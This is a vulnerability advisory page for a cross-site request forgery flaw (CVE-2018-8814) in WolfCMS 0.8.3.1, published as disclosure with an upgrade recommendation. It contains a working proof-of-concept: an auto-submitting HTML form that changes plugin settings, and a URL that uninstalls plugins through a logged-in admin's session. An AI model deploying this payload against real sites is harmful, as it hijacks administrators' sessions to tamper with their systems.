WolfCMS 0.8.3.1 Cross Site Request Forgery

2018.04.09
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-352

####################################### # Exploit Title: WolfCMS 0.8.3.1 Cross Site Request Forgery # Google Dork: N/A # Date: 04-04-2018 ####################################### # Exploit Author: Sureshbabu Narvaneni# ####################################### # Author Blog : http://nullnews.in # Vendor Homepage: http://www.wolfcms.org # Software Link: https://bitbucket.org/wolfcms/wolf-cms-downloads/downloads/wolfcms-0.8.3.1.zip # Affected Version: 0.8.3.1 # Category: WebApps # Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686 # CVE : CVE-2018-8814 # # 1. Vendor Description: # # Light-weight, fast, simple and powerful CMS. PHP-based, easily extended CMS. Uses MySQL, SQLite or (from 0.7) # PostgreSQL for db. Simple drag & drop page hierarchy. Open source, licensed under GPLv3. # # 2. Technical Description: # # Cross-site request forgery (CSRF) vulnerability in WolfCMS before 0.8.3.1 allows remote attackers to hijack the # authentication of users for requests that modify plugin/[pluginname]/settings and can uninstall plugins by sending # malicious request. # # 3. Proof Of Concept: # # Send below request to logged in user to change the plugin settings. # #<html> # <body> # <form action="http://[URL]/wolf/wolfcms/?/admin/plugin/archive/save" method="POST"> # <input type="hidden" name="settings&#91;use&#95;dates&#93;" value="1" /> # <input type="hidden" name="commit" value="Save" /> # <input type="submit" value="Submit request" /> # </form> # <script> # document.forms[0].submit(); # </script> # </body> #</html> # # Share the below URL to uninstall any plugin remotely. # # http://[url]/wolfcms/?/admin/setting/uninstall_plugin/[pluginname] # # # 4. Solution: # # Upgrade to latest release. # http://www.wolfcms.org/blog.html # # 5. Reference: # https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8814 # https://github.com/wolfcms/wolfcms/issues/671 #####################################

References:

https://github.com/wolfcms/wolfcms/issues/671


Vote for this issue:
0%
100%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top